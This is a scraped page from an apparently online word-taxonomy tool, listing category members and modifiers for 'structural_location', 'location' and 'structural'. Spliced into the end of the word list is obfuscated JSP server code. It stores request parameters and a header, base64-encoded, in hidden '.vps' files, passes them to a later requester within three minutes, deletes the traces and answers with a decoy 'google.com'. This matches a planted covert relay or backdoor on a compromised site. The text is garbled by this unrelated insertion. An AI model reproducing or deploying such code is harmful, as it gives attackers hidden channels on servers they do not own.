Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
structural_location
:
race,
deck,
terrace,
trailer,
rib_web,
wings,
levee,
ceiling,
skin,
arms,
fuselage,
pocket,
bridge,
area,
nose,
sidewalk,
apartment,
foot,
laundry_room,
airport,
aircraft,
elevator,
community,
longitude,
elements,
muscle,
plaster,
island,
spine,
warehouse,
friendship_network,
bathtub,
rafter,
pier,
plant,
classroom,
branch,
exchange,
hole,
sheet,
bracket,
channel,
latitude,
department,
oil,
market,
rack,
roads,
house,
soil,
steel,
tank_cover,
joint,
pool,
tree,
bath,
door,
car,
table,
crack,
control,
address,
heart,
rock,
office,
bolt,
town_centre,
section,
square,
library,
cabinet,
staircase,
hip,
rib,
air,
cottage,
patio,
airplane,
ship,
refrigerator,
clay,
roof,
gates,
university,
corner,
wing,
room,
court,
bones,
foundation,
hospital,
porch,
church,
wood,
legs,
concrete,
tank,
home,
column,
automobile,
driveway,
tube,
front,
dam,
panel,
nucleus,
shelf,
floor,
utility_pole,
head,
pit,
wall,
region,
shell,
physician_office,
state,
shed,
post,
pipe,
pillar,
windows,
reservoir,
school,
boat,
building,
helicopter,
steps,
ridge,
Modifiers matching
location
:
recognizable,
stock,
remote,
public,
exotic,
deep,
convenient,
centralized,
observable,
bony,
visual,
nontraditional,
suburban,
fixed,
physical,
valuable,
central,
common,
legitimate,
light,
specialized,
qualified,
civilian,
subtropical,
larger,
indoor,
electronic,
outdoor,
home,
marine,
anatomic,
structural,
geographic,
dedicated,
spatial,
reliable,
foreign,
rural,
sized,
level,
elemental,
exposed,
damp,
external,
removable,
airy,
multiple,
shipboard,
clinical,
unique,
industrial,
defined,
steep,
out,
unconventional,
waterproof,
embryonic,
smaller,
global,
complex,
mountainous,
privileged,
prominent,
supernatural,
inappropriate,
seasonal,
small,
restricted,
underground,
sectional,
congested,
exterior,
permanent,
immobile,
ordinary,
historical,
eerie,
scenic,
delicate,
essential,
exciting,
commercial,
oceanic,
logical,
dispersed,
physiological,
urbanized,
worldwide,
semiarid,
necessary,
static,
susceptible,
quiet,
salient,
private,
temporary,
ventral,
fireproof,
recreational,
higher,
variable,
regular,
familiar,
hot,
current,
populated,
moveable,
vulnerable,
shared,
operable,
breathtaking,
important,
international,
usable,
joint,
key,
metropolitan,
extraordinary,
semipublic,
world,
unfamiliar,
developed,
usual,
swampy,
artificial,
reflective,
traditional,
rustic,
local,
unprotected,
rare,
smooth,
isolated,
extraterrestrial,
everyday,
related,
unstable,
environmental,
alternative,
auxiliary,
original,
upland,
individual,
predetermined,
exclusive,
cooler,
expensive,
concerned,
detailed,
occupied,
governmental,
concrete,
confidential,
internal,
scattered,
evocative,
virtual,
controlled,
nuclear,
pricey,
potential,
discrete,
intracranial,
busy,
nonresidential,
free,
sensitive,
trusted,
educational,
covered,
inland,
magnificent,
semipermanent,
dirty,
incongruous,
mobile,
online,
additional,
unexpected,
undisturbed,
actual,
awkward,
heated,
major,
terrestrial,
cold,
medium,
shady,
spectacular,
regional,
humid,
several,
geographical,
formal,
subterranean,
epithelial,
typical,
beautiful,
suitable,
bright,
coordinate,
notable,
systemic,
romantic,
sandy,
inhabited,
agricultural,
moist,
open,
standard,
improvised,
popular,
closed,
particular,
identifiable,
improper,
overseas,
strategic,
distinct,
outlying,
surgical,
challenging,
crowded,
visceral,
maritime,
up,
impressive,
fine,
tall,
single,
friendly,
mundane,
hidden,
abstract,
large,
primary,
sunny,
pleasant,
geologic,
secondary,
intracellular,
spherical,
anterior,
trustworthy,
comfortable,
hazardous,
dim,
personal,
faraway,
flexible,
stable,
overhead,
base,
military,
hygienic,
moving,
strange,
intimate,
given,
unobtrusive,
working,
disturbed,
arid,
attractive,
geometrical,
thai,
cluttered,
relational,
drafty,
nice,
varied,
civic,
nonstructural,
separate,
inside,
cultural,
stationary,
critical,
narrow,
aesthetic,
cellular,
wet,
size,
undesirable,
vast,
difficult,
anatomical,
diverse,
supporting,
elevated,
cramped,
same,
sporting,
safe,
famous,
nearby,
volatile,
limited,
profitable,
arterial,
favorite,
odd,
real,
wonderful,
social,
peripheral,
broad,
horizontal,
graphic,
interior,
accessible,
italian,
interesting,
general,
significant,
wide,
localized,
organized,
adjacent,
conceptual,
dark,
soft,
communal,
neutral,
appropriate,
tight,
pedestrian,
loud,
new,
disparate,
intermediate,
institutional,
entire,
conspicuous,
desirable,
secluded,
simple,
secure,
unheated,
dry,
innocuous,
warm,
grassy,
desired,
coastal,
historic,
good,
administrative,
natural,
continuous,
intensive,
focal,
specified,
dusty,
geological,
dimensional,
unusual,
unsupervised,
informal,
noisy,
cornish,
organizational,
old,
topographic,
vascular,
modern,
democratic,
tough,
indian,
sacred,
outside,
extreme,
urban,
conventional,
residential,
special,
windy,
dangerous,
astrophysical,
relevant,
noncommercial,
clean,
domestic,
useful,
secular,
rental,
sterile,
geometric,
official,
underwater,
visible,
distant,
musty,
surrounding,
climatic,
random,
vital,
corporate,
cool,
crucial,
main,
prestigious,
over,
high,
precarious,
municipal,
inaccessible,
Simple categories matching
structural
:
disease,
embellishment,
material,
assessment,
part,
property,
cell,
change,
reform,
frame,
commodity,
adhesive,
component,
inequality,
injury,
resource,
event,
unit,
fixture,
fibre,
coverage,
adjustment,
process,
polysaccharide,
protein,
disorder,
display,
thing,
problem,
abstraction,
arrangement,
feature,
solution,
flaw,
tissue,
expense,
niche,
pattern,
fault,
break,
variation,
sugar,
bolt,
hardware,
level,
assimilation,
opening,
primitive,
template,
damage,
anomaly,
chemical,
package,
issue,
moiety,
composition,
funds,
analysis,
means,
defence,
assets,
region,
knowledge,
constituent,
barrier,
quantity,
lipid,
weakness,
dielectric,
statistics,
innovation,
behavior,
difficulty,
nature,
business,
body,
conveyance,
support,
concrete,
elements,
specimen,
fiber,
modification,
peculiarity,
obstruction,
macromolecule,
sheet,
impediment,
whole,
textile,
tag,
carbohydrate,
shock,
furnishing,
section,
control,
substance,
mistake,
limitation,
residue,
surface,
evolution,
artifact,
protection,
imperfection,
requirement,
building,
dimension,
clue,
restriction,
cue,
form,
molecule,
organism,
diversification,
fixing,
status,
layer,
subsystem,
practice,
failure,
optimization,
development,
facility,
characteristic,
sequence,
research,
industry,
method,
design,
option,
abnormality,
location,
defect,
trait,
agency,
integrity,
transformation,
element,
lesion,
performance,
timber,
content,
foam,
ambiguity,
grouping,
subdivision,
repair,
fabric,
medicine,
position,
resin,
transition,
achievement,
topic,
quality,
shift,
constraint,
polymer,
notion,
connection,
deformation,
obstacle,
connector,
science,
panel,
installation,
partition,
ceramics,
backing,
code,
deflection,
contaminant,
source,
actuator,
character,
aspect,
measurement,
fastener,
engine,
data,
piece,
work,
challenge,
consideration,
set,
block,
deck,
underwear,
uncertainty,
heading,
complexity,
item,
action,
diversity,
domain,
works,
principle,
information,
stone,
alteration,
ending,
article,
investment,
adaptation,
selector,
place,
improvement,
pest,
deformity,
indicator,
construction,
houseplant,
sign,
mineral,
device,
aggregate,
line,
application,
complication,
lineament,
factor,
substrate,
organization,
study,
concept,
group,
relationship,
dwelling,
details,
breach,
product,
cause,
entity,
activity,
variable,
safety,
force,
attribute,
representation,
hierarchy,
use,
measure,
fat,
area,
imaging,
pathology,
makeup,
difference,
plant,
irregularity,
isomer,
closure,
ornament,
diagram,
simplicity,
point,
evergreen,
assembly,
market,
system,
relation,
relations,
aberration,
project,
similarity,
maintenance,
conformation,
model,
alloy,
criterion,
mechanism,
metrics,
phenomenon,
strength,
parameter,
compound,
member,
wall,
state,
waste,
formation,
sin,
motion,
evidence,
object,
divergence,
movement,
devices,
portion,
shape,
institution,
condition,
metal,
path,
equipment,
mutation,
dependency,
boundary,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>